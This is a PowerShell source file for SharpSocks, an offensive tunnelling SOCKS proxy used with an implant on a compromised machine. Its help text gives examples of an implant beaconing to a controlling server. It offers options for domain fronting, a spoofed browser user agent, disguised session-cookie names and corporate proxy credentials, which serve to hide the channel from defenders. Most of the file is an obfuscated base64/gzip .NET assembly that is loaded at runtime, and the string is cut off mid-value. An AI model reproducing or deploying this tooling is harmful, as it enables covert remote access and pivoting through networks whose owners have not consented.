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SharpSocks.ps1
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$Global:SocksClientLoaded = $False
$Global:SocksServerLoaded = $False
$Global:Socks = $null
$Global:BoolStart = $null
$iLogOutput = $null
$Comms = $null
function SharpSocks {
<#
.Synopsis
Socks Proxy written in C# for .NET v4
Tunnellable HTTP/HTTPS socks4a proxy written in C# and deployable via PowerShell
SharpSocks 2017 Nettitude
Rob Maslen @rbmaslen
.DESCRIPTION
PS C:\> Usage: SharpSocks -Uri <Host>
.EXAMPLE
Start the server listening on port 127.0.0.1:8081 for connections from the implant and port 1080 for SOCKS connections
PS C:\> SharpSocks -Server -IPAddress 127.0.0.1 -Uri https://127.0.0.1:8081 -SocksPort 1080
.EXAMPLE
Start the server listening on port 127.0.0.1:8081 for connections from the implant and port 1080 for SOCKS connections. Use the provided certificates for the web server that listens for connections from the implant
PS C:\> SharpSocks -Server -TLSServerCertificate $<X509Certificate2> -IPAddress 127.0.0.1 -Uri https://127.0.0.1:8081 -SocksPort 1080
.EXAMPLE
Start the server specfiying the Encryption key and Command Channel Id to be used (these SAME values MUST also be passed to the client)
PS C:\> SharpSocks -Server -IPAddress 127.0.0.1 -Uri https://127.0.0.1:8081 -SocksPort 1080 -Insecure -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6
.EXAMPLE
Start the Implant(Client) specifying the web server (http://127.0.0.1:8081), the encryption keys and channel id. Also specify a list of URLs to use when making HTTP Request. Set the beacon time to 5 seconds
PS C:\> SharpSocks -Client -Uri http://127.0.0.1:8081 -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6 -URLs "site/review/access.php","upload/data/images" -Beacon 5000
.EXAMPLE
Same as above using different list of URLs
PS C:\> SharpSocks -Client -Uri http://127.0.0.1:8081 -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6 -URLs "Upload","Push","Res" -Beacon 5000
.EXAMPLE
Sames as above but connect out via an authenticated proxy server
PS C:\> SharpSocks -Client -Uri http://127.0.0.1:8081 -ProxyUser bob -ProxyPass pass -ProxyDomain dom -ProxyUrl http://10.150.10.1:8080 -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6 -URLs "Upload","Push","Res" -Beacon 500
#>
param(
[Parameter(Mandatory=$True)][string]$Uri,
[Parameter(Mandatory=$False)]$URLs="Upload",
[Parameter(Mandatory=$False)][switch]$Server,
[Parameter(Mandatory=$False)][switch]$Client,
[Parameter(Mandatory=$False)][int]$SocksPort=43334,
[Parameter(Mandatory=$False)][string]$Channel,
[Parameter(Mandatory=$False)][string]$IPAddress="0.0.0.0",
[Parameter(Mandatory=$False)][string]$DomainFrontURL,
[Parameter(Mandatory=$False)][int]$Beacon="2000",
[Parameter(Mandatory=$False)][string]$Key,
[Parameter(Mandatory=$False)][switch]$Insecure,
[Parameter(Mandatory=$False)][string]$UserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36",
[Parameter(Mandatory=$False)][string]$Cookie1="ASP.NET_SessionId",
[Parameter(Mandatory=$False)][string]$Cookie2="__RequestVerificationToken",
[Parameter(Mandatory=$False, HelpMessage="Certificate to be used by the web server, must be of type System.Security.Cryptography.X509Certificates.X509Certificate2")][System.Security.Cryptography.X509Certificates.X509Certificate2]$TLSServerCertificate,
[Parameter(Mandatory=$False)][string]$ProxyURL,
[Parameter(Mandatory=$False)][string]$ProxyDomain,
[Parameter(Mandatory=$False)][string]$ProxyUser,
[Parameter(Mandatory=$False)][string]$ProxyPassword
)
echo "[-] Loading Assemblies"
if ($psversiontable.CLRVersion.Major -lt 3) {
echo "Not running on CLRVersion 4 or above. Try 'migrate' to use unmanaged powershell"
} else {
if (($SocksClientLoaded -ne "TRUE") -and ($Client.IsPresent)) {
$Script:SocksClientLoaded = "TRUE"
echo "[-] Loading Client Assembly"
$PS ="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